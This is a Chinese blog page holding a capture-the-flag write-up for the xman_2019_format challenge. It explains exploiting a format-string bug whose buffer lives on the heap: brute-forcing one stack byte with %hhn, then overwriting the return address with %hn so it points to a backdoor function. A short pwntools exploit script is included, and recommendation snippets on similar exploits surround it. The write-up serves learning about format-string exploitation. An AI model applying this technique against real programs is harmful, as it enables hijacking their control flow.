BUUCTF之“xman_2019_format”之特殊剧情:当格式化字符串遇上堆

BugkuCTF-Reverse题First_Mobile(xman) 知识点 1.getByte() 功能:返回字符的ascii码值 2.equals() 功能:用于将字符串与指定的对象比较。 结果:相等时返回true,反之返回false 下载apk文件 使用jeb3打开反编译代码 分析,程序将editText里的内容进行一次encode.check检查,通过就显示correct 那核心代码应该在encode函数里 这个函数逻辑很简单,就是对输入的长度为16的字符串的每个字符进行运算,若运算结果字符没有变,就通过。 解方程太复杂了,编写一个简单的python脚本进行爆破 阅读详情

本题跟之前不一样的是,不是利用格式化任意写:去修改任意地址(包括函数got.plt)
的地址从而达到“鸠占鹊巢”间接调用,这里是修改eip去执行后门函数。主要可能是存在后门函数的原因,所以修改eip指向后门函数。

分析题目得出判断:我们要修改eip指向后门函数。
在这里插入图片描述
程序给了两处格式化漏洞利用的机会。
前面虽然字符串漏洞被首先输入存入的是buff指向的堆空间,但是当调用函数的时候,其作为函数的参数,充当局部变量也会被放入栈中,我们在上图中的printf函数下个断点,并查看stack:在这里插入图片描述
虽然栈随着地址空间随机化,会变,但是我们发现本题程序的架构没有那么复杂,多次执行后发现“ebp”下方的(我们需要将在此修改为后门函数地址)地址总是倒数第二位在变就是1c啊2c啊3c啊上面的,我们可以假设一种情况这里假设位3c,多次执行后,满足3c条件就可以出结果。

这里还得注意:我们利用%n去实现修改数据,得仔细思考其定义再实现利用:
%s与%n都是利用栈上存的数据当做参数,不是栈前边的地址为参数
下面结合上图解释:
这里就是利用%hhn先修改0xffffd188为0xffffd13c,再看偏移18处:修改成功后:利用%18hn修改的就是bep下方的0x804864b了,观察IDA上.text发现(函数或者指令)一般都是0x8048打头所以我们利用0xffff截取后门函数后边四个字节进行修改

WP:

from pwn import*
p=remote('node4.buuoj.cn',26689)
#context.log_level='debug'

eip=0x3c
backdoor=(0x80485ab)&(0xffff)

fmt_str="%"+str(eip)+"c%10$hhn"+"|"+"%"+str(backdoor)+"c%18$hn"+"|"
p.send(fmt_str)
p.interactive()

多次执行后总会满足条件
结果:
在这里插入图片描述

【CTF大赛】第五届XMan选拔赛 ezCM Writeup ezCM 直至比赛结束,这道题目都是 0 解题,一方面是因为比赛时间较短,另一方面还是因为这道题目较难,考察了不常见的椭圆曲线算法(ECC),大大增加了对做题者的要求。 题目信息 题目是使用 Golang 来编写的一个 CrackMe 程序,程序内符号没有被去除,所以这篇文章就不会讲解如何恢复 Golang 程序符号,另外 IDA Pro 7.6 已经支持 Golang 程序分析,打开就可以直接恢复被去除的符号信息。 题目要求打开一个 KeyFile ,并且通过读取其文件的内容来注册程序,我们要做的就是通 阅读详情

相关推荐

buuctf pwn wp(第四波)格式化字符串漏洞系列

这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。) 这一波题都是无脑AAAA的类型,它们的区别主要就是打入多少个填充字符A的区别,(还有接受到什么字符串的区别),反正都是最简单的一类题。 另外声明,脚本有些来自于网络上,但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来做的...

月阴荒的博客 3502

[BUUCTF]PWN——xman_2019_format(堆上的fmt+爆破栈)

xman_2019_format 例行检查,32位程序,开启了nx 检索程序里的字符串,发现了后门函数,back_doorr=0x80485AB 这题buf并不存储在栈上,而是在malloc申请的堆上 之后buf作为参数,进入到sub_80485C4 由于存在后门函数,可以利用格式化字符串将返回地址改为back_door 这边主要利用了%ac$bn,将长度a的数据写入偏移为b的位置。 格式化字符串漏洞,一般需要先泄露栈地址,然后计算偏移,但是这里没办法这么利用,因为这里的s存放在chunk上,不在

mcmuyanga的博客 839

如何解决ipa包上传App Store Connect时出现的无效二进制文件问题

本文详细解析了ipa包上传App Store Connect时出现无效二进制文件问题的常见原因及解决方案。从Scheme配置、架构支持到权限声明,提供了全面的检查步骤和实用技巧,帮助开发者快速定位并解决上传问题,确保应用顺利通过审核。

weixin_28833069的博客 315

[BUUCTF-pwn]——xman_2019_format

[BUUCTF-pwn]——xman_2019_format 本小白终于想明白了, 第一个写出来这道题的人, 好厉害感觉. 脑袋嗡嗡的, 这道题让我想了一个上午竟然, 果然适当睡眠有助于思考, 睡一觉就想出来了. 也看过几个题解不过,虽然解法相同,但是基本都木有将清楚, 每一步的原因是什么都木有说清楚. peak不才, 在这里试着详细说明一下, 毕竟想了一个上午的东西,还是有必要好好总结一下的 . peak小知识 ALSR : 你们肯定都知道,不就是地址随机化嘛有什么, 但是这道题如果你们不清楚具体的原理

Y_peak的博客 759

深度学习之常用算子介绍

打开 onnx 模型图,可以看到它是一个有向无环图。除了 Input、Output ,其他都是算子(是操作,而不是节点)在ONNX(Open Neural Network Exchange)模型中,除了输入和输出,其他都是算子(Operations)。算子是表示神经网络模型中的不同操作或层的元素。一个ONNX模型由一系列算子组成,通过连接这些算子来定义模型的计算流程。

ueke1的博客 8459

C#与发那科机器人通信实战:从SDK配置到机械臂控制

本文详细介绍了如何使用C#与发那科机器人进行通信,从SDK配置到机械臂控制的完整实战流程。内容包括环境准备、通信连接建立、机械臂运动控制、异常处理与状态监控,以及高级功能实战,帮助开发者快速掌握工业机器人编程技术。

weixin_42524276的博客 459

堆上的格式化字符串漏洞

在堆上构造栈帧,然后将栈迁移到堆上, 栈帧如下 system_addr bbbb binsh_addr

qq_36495104的博客 1367

vins-fusion环境配置、安装与测试

本文主要介绍如何搭建vins-fusion的运行环境,以及解决vins-fusion编译运行时遇到的环境冲突问题,并在此基础上实现例程的运行。

qq_52068373的博客 1万+

linux 格式化字符串漏洞

格式化字符串漏洞 格式化字符串介绍 常见格式化字符串函数 函数 基本介绍 printf 输出到stdout fprintf 输出到指定FILE流 vprintf 根据参数列表格式化输出到stdout vfprintf 根据参数列表格式化输出到FILE流 sprintf 输出到字符串 snprintf 输出指定字节数到字符串 vsprintf 根据参数列表格式化输出到字符串 vsnprintf 根据参数列表格式化输出指定字节到字符串 常用格式化字符串形式 %[p

sky123博客 2840

1.Fay-UE5数字人工程导入(UE数字人系统教程)

ue5数字人系列教程(含源文件工程)

1万+

新手也能懂的Simulink汽车二自由度建模:从公式推导到模型搭建全流程

本文为新手提供了在Simulink中搭建汽车二自由度模型的完整实战指南。文章从模型核心概念讲起,详细讲解了如何将车辆动力学方程转化为状态空间模型,并逐步指导在Simulink中实现从参数设置、模块搭建到仿真验证的全过程。通过阶跃转向测试和参数影响分析,帮助读者直观理解车辆转向特性,并提供了实用的模型扩展思路与常见问题排查技巧。

weixin_29047919的博客 214

xman_2019_format

buu刷题 xman_2019_format 【write up】

m0_73756460的博客 205

让 PyCharm 代码“发光”:高亮插件与特效全攻略

PyCharm 作为一款强大的 Python IDE,支持多种插件让代码“发光”——无论是动态输入特效、彩虹括号,还是霓虹主题,都能让你的代码脱颖而出!进入 File → Settings → Editor → Color Scheme → Rainbow Brackets。进入 File → Settings → Appearance & Behavior → Material Theme。进入 File → Settings → Editor → Color Scheme → General。

qq_43580271的博客 3835

CTF PWN [XMAN]level2(x64)

CTF PWN [XMAN]level2(x64) 题目地址 首先进行checksec保护机制的查询 发现只开了NX,所以不能利用shellcode方式获取shell,这里采用ROP方式获取shell IDA反编译查看伪源码 程序非常简单,两个函数 main: vulnerable_function: 在vulnerable_function有个问题,buf申请空间为0x80字节,然而可以读...

qq_41743240的博客 508

文本分析-使用jieba库进行中文分词和去除停用词(附案例实战)

本文将手把手教会你使用jieba库进行中文分词和去除停用词,这是学会文本分析的必经之路!

m0_64336780的博客 4万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

xmanctf_2019_crypto_cycle_write_up

一道xmanctf逆向题目的解答 周末试了试xmanctf的题目,试了一下crypto的cycle那一题,逻辑逆向难度不是很大。主要是对于逆向出来对逻辑,整理成解题思路的过程有点繁琐,需要对程序的精细化处理。分为三个步骤:编码、跳表处理和约束求解,具体分析如下。 编码 对输入字符进行编码,编码算法是: 关键逻辑是有两个: v2 = byte_202020[i] + v4 –s s[i]...

WaterDemo22的专栏 743

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

[第五空间2019 决赛]PWN5-BUUCTF-格式化字符串

第一眼就看到了'system',看一下条件,这里的atoi函数指的是把字符串转换成整数,而'nptr'就是输入的'passwd',再看看另外一个'dword_804C044'表示这个'0x804C044'地址,那意思就是如果输入的'passwd'的值与'dword_804C044'相等就行了,那就改写一下'0x804C044'的值。'指向的内存位置中。这个表示从上面的文件中读取4个字节的字符,并将读取的数据存储到。有canary,栈溢出无望。数了一下,偏移量为10。

yuqie的博客 476

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

XCTF:练习CTF解题XMAN比赛 8-8 login

login 首先查看源码(看关键点): 因为是post方式那么我们就利用bp. 在登陆页面输入username=admin,,password=admin得到下面信息: 下面分析: if ($result!=null&&$result->rowCount()==1) { echo $flag; }搜了一下P

Gunther的博客 2111

BUUCTF【PicoCTF_2018_echo_back】(格式化字符串)

文章目录PicoCTF_2018_echo_back例行检查:IDA分析:exp: PicoCTF_2018_echo_back 例行检查: 开了部分relro,没开pie, IDA分析: 函数主逻辑在vul()函数中: 先打印出一句话,然后让我们输入,大小控制在0x7f,然后很明显一个格式化字符串,然后下边直接puts完后,程序结束. 程序中存在system,并且没开pie,这里我们考虑直接改got表,我选择的是改printf()_got为system_plt,下边程序直接结束了,这里我们没办法去输入

weixin_51055545的博客 575

BUUCTF axb_2019_fmt32 & fmt64

格式化字符串漏洞,fmt32和fmt64位

zwb2603096342的博客 2187

格式化字符串漏洞详解(附BUUCTF习题)

格式化字符串漏洞(Format String Vulnerability)是由于程序使用用户可控的输入作为格式化字符串参数(如 、 等函数)时未正确过滤导致的漏洞。攻击者可通过构造特殊格式字符串实现以下操作:内存泄露:读取栈或堆中的敏感数据(如密码、密钥)。内存覆盖:向任意地址写入数据(如劫持控制流、覆盖函数指针)。程序崩溃:通过非法内存访问导致拒绝服务(DoS)。关键机制:信息泄露(Memory Leak)目标:读取栈或堆中的敏感数据(如 或 地址)。示例: → 用户输入 泄露栈内容。覆盖关键变量目

a12sj_的博客 1898

xman_2019_format(非栈上格式化字符串仅一次利用的爆破)

xman_2019_format 首先检查一下程序的保护机制 然后用IDA分析一下 存在一个后门函数 s执行的内存是非栈上,这类格式化字符串漏洞,一般需要先泄露栈地址,但是这里无法做到,如果泄露了,第二次也没机会来再次利用了。因为这里是一次输入,分步执行。没有循环的交互。因此,最简单的方法是爆破栈的低1字节。通过栈上已有的数据,在栈上布下一个指向函数返回地址栈的指针,然后劫持返回地...

seaaseesa的博客 1674

buuctf-pwn 5-8

查看栈结构发现v2的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20个I就能让栈溢出,然后db 4 dup(?发现明显的格式化漏洞,因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell。思路:利用字符串漏洞将判断的atoi直接替换成system,然后手动输入"/bin/sh"字符串,即可达成system(“/bin/sh”)目的。

m0_74355719的博客 282
上一篇: BUUCTF之“judgement_mna_2016”
下一篇: BUUCTF之“ciscn_2019_sw_1”
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值